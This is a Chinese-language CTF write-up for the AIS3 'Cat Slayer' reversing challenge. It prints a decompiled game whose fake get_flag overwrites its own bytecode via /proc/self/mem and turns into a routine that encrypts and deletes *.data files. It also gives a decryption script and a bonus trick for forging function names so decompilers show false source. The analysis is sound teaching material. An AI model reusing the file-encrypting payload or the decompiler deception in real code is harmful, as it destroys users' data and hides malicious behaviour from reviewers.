2020 AIS3 EOF Final - ⚔ Cat Slayer ⚔

Tue, Mar 30, 2021 12-minute read

題目:⚔ Cat Slayer ⚔

⚔ Cat Slayer ⚔

Challenge Info

三十七年前,我只是某個隨處可見、普通的男高中生。

在十八歲生日前的那天放學,我一如往常地走在那條有些不平整的人行道上,然而一回神,我就被迎面衝來的兩百二十二隻貓咪撞暈了過去——再睜開眼,便來到這個異世界了。

…(字太多以下略XD)

Author: splitline

game.pyc, cat_slayer.data.meow

Solution

Part 0: Try

執行 game.pyc,是一個選單打怪小遊戲,並且錢夠多可以買 Flag

看到 .pyc 就會想反編譯

1
uncompyle6 game.pyc > game.py

看起來一切順利:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.5 (default, Jul 28 2020, 12:59:40) 
# [GCC 9.3.0]
# Embedded file name: source.py
# Compiled at: 2021-02-03 03:35:27
# Size of source mod 2**32: 1 bytes
import random, time, os, struct
hp = 1000
attk = 10
defs = 0
money = 0
token = None
GAME_OS = 'Linux'
GAME_DATA_HEADER = b'___GAME_CAT_SLAYER_SAVED_DATA___'
GAME_DATA_PATH = './cat_slayer.data'

def get_flag():
    global token
    if token != 'd656d6f266c65637f236f62707f2':
        return
    magic = [144, 26, 151, 181, 29, 139, 19, 120, 165, 123, 179, 104, 80, 143]
    fl4g = bytes([i ^ j for i, j in zip(magic, bytes.fromhex(token))])
    print('🐱 FLAG =', fl4g)


def save_game(offset=0, data=struct.pack('>QQQQ', hp, attk, defs, money)):
    global GAME_DATA_PATH
    global money
    global token
    if token == 'd656d6f266c65637f236f62707f2':
        offset += id([*globals().values()][23].__code__.co_code)
        if money >= 0:
            GAME_DATA_PATH = bytes.fromhex([*globals().values()][17][::-1])
            data = b't\x13d\x93d\x94\x83\x02\x01\x00q$'
            with open(GAME_DATA_PATH, 'wb') as (game_win_log):
                game_win_log.seek(len(GAME_DATA_HEADER) + id([*globals().values()][24].__code__.co_code) + 240)
                game_win_log.write(struct.pack('>HHHH', 25626, 24833, 29707, 33536))
    with open(GAME_DATA_PATH, 'wb') as (f):
        f.seek(len(GAME_DATA_HEADER) + offset)
        f.write(data)


def load_game(offset=GAME_DATA_HEADER.__len__()):
    global attk
    global defs
    global hp
    global money
    try:
        with open(GAME_DATA_PATH, 'rb') as (f):
            f.seek(offset)
            hp, attk, defs, money = struct.unpack('>QQQQ', f.read()[:32])
    except:
        with open(GAME_DATA_PATH, 'wb') as (f):
            f.write(GAME_DATA_HEADER)
            f.write(struct.pack('>QQQQ', hp, attk, defs, money))


def fight():
    global hp
    global money
    rounds = 0
    print('\x1bc')
    level = input('Level [1,2,3,...]: ')
    if not level.isdigit() or int(level) == 0:
        return
    cat_power = pow(10, int(level) - 1)
    demon_names = ['Buné', 'Samigina', 'Ronové', 'Vassago', 'Purson', 'Glasya-Labolas', 'Caim', 'Gremory', 'Vapula', 'Asmoday', 'Gäap', 'Furcas', 'Bifrons', 'Valac', 'Flauros', 'Alloces', 'Viné', 'Andromalius', 'Aim', 'Phenex', 'Agares', 'Malphas', 'Amdusias', 'Halphas', 'Dantalion', 'Astaroth', 'Marax', 'Focalor', 'Andras', 'Botis', 'Foras', 'Shax', 'Sabnock', 'Furfur',
     'Amy', 'Marbas', 'Ose', 'Ipos', 'Orias', 'Amon', 'Zepar', 'Kimaris', 'Leraje', 'Bathin', 'Forneus', 'Buer', 'Murmur', 'Belial', 'Haagenti', 'Vual', 'Eligos', 'Naberius', 'Vepar', 'Beleth', 'Balam', 'Paimon', 'Sallos', 'Orobas', 'Seere', 'Barbatos', 'Bael', 'Valefor', 'Räum', 'Gusion', 'Crocell', 'Sitri', 'Berith', 'Stolas', 'Andrealphus', 'Zagan', 'Decarabia']
    while True:
        rounds += 1
        cat_name = random.choice(demon_names)
        cat_hp = random.randint(10, 50) * cat_power
        print('+--------------------------------+')
        print('|' + f"[Round {rounds}]".ljust(28, ' ').rjust(32, ' ') + '|')
        print('|' + f"Monster: Cat {cat_name}".ljust(28, ' ').rjust(32, ' ') + '|')
        print('|' + f"HP: {cat_hp}".ljust(28, ' ').rjust(32, ' ') + '|')
        print('+--------------------------------+')
        print('\n⚔ BATTLE START ⚔\n')
        while True:
            cat_attk = random.randint(5, 30) * cat_power
            cat_defs = random.randint(1, 5) * cat_power
            damage = max(cat_attk - defs, int(level))
            hp -= damage
            print(f"Cat {cat_name} attacks you.")
            print(f"Caused {damage} pts of damage. Your HP = {hp}.")
            if hp <= 0:
                print('You died \\|/.')
                exit()
            time.sleep(0.1)
            cat_damage = max(attk - cat_defs, 1)
            cat_hp -= cat_damage
            print(f"You attacks Cat {cat_name}.")
            print(f"Caused {cat_damage} pts of damage. Cat's HP = {cat_hp}.")
            time.sleep(0.1)
            if cat_hp <= 0:
                print(f"Cat {cat_name} died \\|/.")
                money += cat_power * cat_power
                print(f"Drop some coins! [${cat_power * cat_power}]")
                break

        while True:
            cont = input('Next Cat (y/n): ')
            if cont == 'y':
                continue
            elif cont == 'n':
                return


def shop():
    global attk
    global defs
    global hp
    global money
    global token
    while True:
        print(f"\x1bc\n[Shop]\n========\nYour Money = {money}\n========\n(H)P + 5 / $1\n(A)ttack + 10 / $5\n(D)efense + 10 / $5\n(B)et / $100\n(F)LAG / $2147483647\n(S)ecret / $0\n(Q)uit\n    ")
        choose = input('Choose: ')
        if choose == 'H':
            if money >= 1:
                money -= 1
                hp += 5
        if choose == 'A':
            if money >= 5:
                money -= 5
                attk += 10
        if choose == 'D':
            if money >= 5:
                money -= 5
                defs += 10
        if choose == 'B':
            if money >= 100:
                money -= 100
                if random.randint(0, 1000) == 999:
                    money = 2147483647
                else:
                    money = -2147483647
        if choose == 'F' and money >= 2147483647:
            money -= 2147483647
            input('Meow, I am Cat Lucifer, you can also call me \x1b[3mMaou\x1b[23m 🐱')
            input('You beat all of us, we give up 🐱')
            input('So, here is your FLAG 🐱')
            token = input('SECRET: ')
            get_flag()
            print(':) 🐱')
        elif choose == 'S':
            input('Meow, `d656d6f266c65637f236f62707f2`, you want this?')
        elif choose == 'Q':
            return


def menu():
    print('\x1bc\n[Menu]\n========\n(S)tatus\n(F)ight\n(B)uy\n(L)oad / Save\n(Q)uit\n        ')
    return input('Choose: ')


def game():
    print('\x1bc\n   ______      __     _____ __                     \n  / ____/___ _/ /_   / ___// /___ ___  _____  _____\n / /   / __ `/ __/   \\__ \\/ / __ `/ / / / _ \\/ ___/\n/ /___/ /_/ / /_    ___/ / / /_/ / /_/ /  __/ /    \n\\____/\\__,_/\\__/   /____/_/\\__,_/\\__, /\\___/_/     \n                                /____/             \n\n            🐈 <- THEY ARE EVIL Q_Q\n')
    name = input('Name: ')
    while True:
        choose = menu()
        if choose == 'S':
            print(f"\x1bc\n[Status]\n========\nName: {name}\nHP: {hp}\nAttack: {attk}\nDefense: {defs}\nMoney: {money}\n                ".strip())
            input('=== PRESS ENTER TO CONTINUE ===')
        elif choose == 'F':
            fight()
        elif choose == 'B':
            shop()
        elif choose == 'L':
            input('Not implemented :/')
        elif choose == 'Q':
            break


if __name__ == '__main__':
    if os.uname().sysname != GAME_OS:
        print('[x] Linux Only!')
        exit()
    load_game()
    game()
# okay decompiling game.pyc

所以程式流程是:

  1. './cat_slayer.data' 讀取資料,並且最後 8 bytes 用 big-endian 表示 money
  2. 名字隨便打
  3. 直接買 Flag,並且輸入 token d656d6f266c65637f236f62707f2
  4. 執行 get_flag() 並得到 flag

換句話說,這是 flag

1
2
3
magic = [144, 26, 151, 181, 29, 139, 19, 120, 165, 123, 179, 104, 80, 143]
fl4g = bytes([i ^ j for i, j in zip(magic, bytes.fromhex(token))])
print('🐱 FLAG =', fl4g)

理想上輸出要是:🐱 FLAG = b'FLAG{MEOWMEOW}'

但實際執行卻是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

[REVENGE OF CATS]

 ██▀███  ▓█████ ██▒   █▓▓█████  ███▄    █   ▄████ ▓█████     ▒█████    █████▒    ▄████▄   ▄▄▄     ▄▄▄█████▓  ██████ 
▓██ ▒ ██▒▓█   ▀▓██░   █▒▓█   ▀  ██ ▀█   █  ██▒ ▀█▒▓█   ▀    ▒██▒  ██▒▓██   ▒    ▒██▀ ▀█  ▒████▄   ▓  ██▒ ▓▒▒██    ▒ 
▓██ ░▄█ ▒▒███   ▓██  █▒░▒███   ▓██  ▀█ ██▒▒██░▄▄▄░▒███      ▒██░  ██▒▒████ ░    ▒▓█    ▄ ▒██  ▀█▄ ▒ ▓██░ ▒░░ ▓██▄   
▒██▀▀█▄  ▒▓█  ▄  ▒██ █░░▒▓█  ▄ ▓██▒  ▐▌██▒░▓█  ██▓▒▓█  ▄    ▒██   ██░░▓█▒  ░    ▒▓▓▄ ▄██▒░██▄▄▄▄██░ ▓██▓ ░   ▒   ██▒
░██▓ ▒██▒░▒████▒  ▒▀█░  ░▒████▒▒██░   ▓██░░▒▓███▀▒░▒████▒   ░ ████▓▒░░▒█░       ▒ ▓███▀ ░ ▓█   ▓██▒ ▒██▒ ░ ▒██████▒▒
░ ▒▓ ░▒▓░░░ ▒░ ░  ░ ▐░  ░░ ▒░ ░░ ▒░   ▒ ▒  ░▒   ▒ ░░ ▒░ ░   ░ ▒░▒░▒░  ▒ ░       ░ ░▒ ▒  ░ ▒▒   ▓▒█░ ▒ ░░   ▒ ▒▓▒ ▒ ░
  ░▒ ░ ▒░ ░ ░  ░  ░ ░░   ░ ░  ░░ ░░   ░ ▒░  ░   ░  ░ ░  ░     ░ ▒ ▒░  ░           ░  ▒     ▒   ▒▒ ░   ░    ░ ░▒  ░ ░
  ░░   ░    ░       ░░     ░      ░   ░ ░ ░ ░   ░    ░      ░ ░ ░ ▒   ░ ░       ░          ░   ▒    ░      ░  ░  ░  
   ░        ░  ░     ░     ░  ░         ░       ░    ░  ░       ░ ░             ░ ░            ░  ░              ░  
                    ░                                                           ░                                   

[+] Encrypting: cat_slayer.data
Meow!
HP = 222
HP = 22
HP = 2
HP = 0
Meow, You Died \|/.

Part 1:Long function name QQ

其實把 .pyc 的 bytecode 反組譯就能看出端倪:

1
2
3
4
5
6
7
8
import dis
header_sizes = [(8,  (0, 9, 2)), (12, (3, 6)), (16, (3, 7)), ]
header_size = next(s for s, v in reversed(header_sizes) if sys.version_info >= v)

with open("game.pyc", "rb") as f:
    metadata = f.read(header_size) # header
    m_code = marshal.load(f)       # code object
dis.dis(m_code)

會發現其中有一個 code object 長相特殊

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
...
Disassembly of <code object get_flag():
    global token
    if token != 'd656d6f266c65637f236f62707f2':
        return
    magic = [144, 26, 151, 181, 29, 139, 19, 120, 165, 123, 179, 104, 80, 143]
    fl4g = bytes([i ^ j for i, j in zip(magic, bytes.fromhex(token))])
    print('🐱 FLAG =', fl4g)


def save_game at 0x7f3c0f07b9d0, file "source.py", line 16>:
 18           0 LOAD_GLOBAL              0 (token)
              2 LOAD_CONST               1 ('d656d6f266c65637f236f62707f2')
              4 COMPARE_OP               2 (==)
              6 POP_JUMP_IF_FALSE      168

...

也就是,事實上框起來的部分是 function name

也就是 get_flag() 其實是執行「原本的」 save_game()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def get_flag(offset=0, data=struct.pack('>QQQQ', hp, attk, defs, money)):
    global GAME_DATA_PATH
    global money
    global token
    if token == 'd656d6f266c65637f236f62707f2':
        offset += id([*globals().values()][23].__code__.co_code)  # fight()
        if money >= 0:
            GAME_DATA_PATH = bytes.fromhex([*globals().values()][17][::-1])  # b'/proc/self/mem'
            data = b't\x13d\x93d\x94\x83\x02\x01\x00q$'
            with open(GAME_DATA_PATH, 'wb') as (game_win_log):
                game_win_log.seek(len(GAME_DATA_HEADER) +
                                  id([*globals().values()][24].__code__.co_code) + 240)  # shop() + 240
                game_win_log.write(struct.pack('>HHHH', 25626, 24833, 29707, 33536))
                '''
                0 LOAD_CONST              26 (-22222)
                2 STORE_GLOBAL             1 (money)
                4 LOAD_GLOBAL             11 (fight)
                6 CALL_FUNCTION            0

                money = -22222
                fight()
                '''
    with open(GAME_DATA_PATH, 'wb') as (f):
        f.seek(len(GAME_DATA_HEADER) + offset)  # fight() + offset
        f.write(data)

所以真正的執行流程是:

  1. 執行 get_flag() 之後,修改 /proc/self/mem,也就是 self modifying
  2. shop() + 240 的位置寫入 struct.pack('>HHHH', 25626, 24833, 29707, 33536)
  3. fight() + offset 的位置寫入 b't\x13d\x93d\x94\x83\x02\x01\x00q$'

Part 2:dis.dis()

先分析 shop() + 240 的部分:

首先要知道 shop() + 240 在哪裡,用 dis.dis() 分析 game.pyc 內的 shop() code object

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
...
134         226 LOAD_GLOBAL              2 (input)
            228 LOAD_CONST              21 ('SECRET: ')
            230 CALL_FUNCTION            1
            232 STORE_GLOBAL             8 (token)
            # token = input('SECRET: ')
            
135         234 LOAD_GLOBAL              9 (get_flag)
            236 CALL_FUNCTION            0
            238 POP_TOP
            # get_flag()

136         240 LOAD_GLOBAL              0 (print)
            242 LOAD_CONST              22 (':) 🐱')
            244 CALL_FUNCTION            1
            246 POP_TOP
            248 JUMP_ABSOLUTE            0
            # print(':) 🐱')
...

也就是把 print(':) 🐱') 之後的內容蓋掉(get_flag() 結束後執行)

而覆蓋的 byte code 內容如下:

1
2
3
4
5
In [3]: dis.dis(struct.pack('>HHHH', 25626, 24833, 29707, 33536))                                                                           
          0 LOAD_CONST              26 (26)
          2 STORE_GLOBAL             1 (1)
          4 LOAD_GLOBAL             11 (11)
          6 CALL_FUNCTION            0

變數內容可以從 shop() byte code 的 co_consts, co_names 取得:

1
2
3
4
5
6
7
0 LOAD_CONST              26 (-22222)
2 STORE_GLOBAL             1 (money)
4 LOAD_GLOBAL             11 (fight)
6 CALL_FUNCTION            0

# money = -22222
# fight()

同理,寫到 fight() + offset 的內容也可以用同樣方式解出來

他會用有點遞迴的方式把 fight() 寫掉

  • 先蓋掉 fight() + 0 的部分
  • 執行 fight() 之後會再寫掉 fight() + 16,並且跳進去
  • 以此類推

寫個腳本把所有 patch 的 instruction 印出來:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import dis
import marshal
import sys
from io import StringIO
import re
import struct

header_sizes = [(8,  (0, 9, 2)), (12, (3, 6)), (16, (3, 7)), ]
header_size = next(s for s, v in reversed(header_sizes) if sys.version_info >= v)

with open("game.pyc", "rb") as f:
    metadata = f.read(header_size)    # header
    m_code = marshal.load(f)          # marshalled code object

code = type(compile('', '', 'exec'))


def get_codeobject_index(func_name):
    i = 0
    for c in m_code.co_consts:
        if isinstance(c, code) and c.co_name.startswith(func_name):
            return i
        i += 1


def get_dis(b):
    with StringIO() as out:
        dis.dis(b, file=out)
        return out.getvalue()


def get_instruction(ins):
    r = re.compile(r"\d+ ([A-Z_]+) +\d+ \((\d+)\)")
    return r.findall(ins)


def get_consts(a, b):
    return m_code.co_consts[a].co_consts[b]


def get_global(a, b):
    return m_code.co_consts[a].co_names[b]


def get_varnames(a, b):
    return m_code.co_consts[a].co_varnames[b]


def fight_parser(idx, ins):
    byte_code_list = []
    finish = False
    for el in get_instruction(ins):
        ins_name = el[0]
        ins_arg = int(el[1])
        res = None
        if ins_name in ["LOAD_GLOBAL", "LOAD_METHOD"]:
            res = get_global(idx, ins_arg)
        elif ins_name == "LOAD_CONST":
            res = get_consts(idx, ins_arg)
        elif ins_name in ["LOAD_FAST", "STORE_FAST"]:
            res = get_varnames(idx, ins_arg)

        if res != None:
            ins = ins.replace(
                f"({ins_arg})", f"({res})")
            if isinstance(res, bytes):
                byte_code_list.append(res)
            if res == "exit":
                finish = True
    print(f"{ins}\n")
    if finish:
        return
    for bc in byte_code_list:
        fight_parser(idx, get_dis(bc))

'''Parse'''
idx = get_codeobject_index("fight")
data = b't\x13d\x93d\x94\x83\x02\x01\x00q$'
ins = get_dis(data)

fight_parser(idx, ins)

內容其實不多,所以手動把輸出的 instruction 轉換成 python code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
def fight():
    print("[REVENGE OF CATS]...")
    random.seed(int(time.time()))
    for rounds in __import__('glob').glob('*.data'):
        print('[+] Encrypting:', rounds)
        level = 8
        cat_power = open(rounds + ".meow", 'wb')
        for demon_names in open(rounds, 'rb').read():
            cat_name = random.randint(22, 222) + (level * 3 - 5) % 22
            cat_power.write(bytes([demon_names ^ cat_name]))
            level += 3
        __import__('os').unlink(rounds)
    print('Meow!\nHP = 222')
    time.sleep(0.5)
    print("HP = 22")
    time.sleep(0.5)
    print("HP = 2")
    time.sleep(0.5)
    print("HP = 0\nMeow, You Died \\|/.")
    exit()

弱點明顯是 random.seed(int(time.time()))

因為可以知道檔案創建時間,稍微爆破一下 timestamp 就能解出檔案內容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import random
import time
import dis
import datetime

def dec(file_name, timestamp):
    for ts in reversed(range(timestamp)):
        random.seed(ts)
        level = 8
        flag = ''
        for demon_names in open(file_name, 'rb').read():
            cat_name = random.randint(22, 222) + (level * 3 - 5) % 22
            flag += chr(demon_names ^ cat_name)
            level += 3
        if "AIS3" in flag:
            print(flag)
            return


dec("cat_slayer.data.meow.flag", 1612294560)  # 2020/02/03 3:36
# ___GAME_CAT_SLAYER_SAVED_DATA___AIS3{d4rkness_c4ts_ar3_ev1l_qwq}

Flag

AIS3{d4rkness_c4ts_ar3_ev1l_qwq}

順手附上之前做的 pyc 簡報:https://hackmd.io/@C5qogZpXS6m0aedcVROJ6A/rkGBI_1ru#/


Bonus

實際改改看 function name,讓 uncompyle6 反編譯出來的結果跟實際不同

先創建 test.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def func1():
    print("this is func1()")


def func2(a):
    print(f"this is func2({a})")
    return a * 10


func1()
func2(1)
func2(3)

python3 -m compileall test.py -b 得到 test.pyc

寫個腳本 patch.pyfunc2 替換掉,也就是修改 func2()co_name 再用 marshal 序列化存起來

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import marshal
import sys

header_sizes = [(8,  (0, 9, 2)), (12, (3, 6)), (16, (3, 7)), ]
header_size = next(s for s, v in reversed(header_sizes) if sys.version_info >= v)

'''Get code object'''
with open("test.pyc", "rb") as f:
    metadata = f.read(header_size)
    m_code = marshal.load(f)

'''Get the index of func2() code object'''
code = type(compile('', '', 'exec'))
for c in m_code.co_consts:
    if isinstance(c, code) and c.co_name == "func2":
        idx = m_code.co_consts.index(c)
        break

'''Patch co_name'''
new_name = m_code.co_consts[2].co_name + '''(b):
    print("我在這裡偷星爆一定沒人會發現" * b)


def 這不是很戲劇化的發展嗎'''
tmp = m_code.co_consts[idx].replace(co_name=new_name)
lis = list(m_code.co_consts)
lis[idx] = tmp
new_consts = tuple(lis)
m_code = m_code.replace(co_consts=new_consts)

'''Write to new file'''
with open("test_patched.pyc", "wb") as f:
    f.write(metadata)
    f.write(marshal.dumps(m_code))
1
2
$ python3 patch.py
$ uncompyle6 test_patched.pyc > test_patched.py

最後反編譯得到 test_patched.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.5 (default, Jul 28 2020, 12:59:40) 
# [GCC 9.3.0]
# Embedded file name: test.py
# Compiled at: 2021-02-08 17:58:34
# Size of source mod 2**32: 137 bytes


def func1():
    print('this is func1()')


def func2(b):
    print("我在這裡偷星爆一定沒人發現" * b)


def 這不是很戲劇化的發展嗎(a):
    print(f"this is func2({a})")
    return a * 10


func1()
func2(1)
func2(3)
# okay decompiling test_patched.pyc

成功!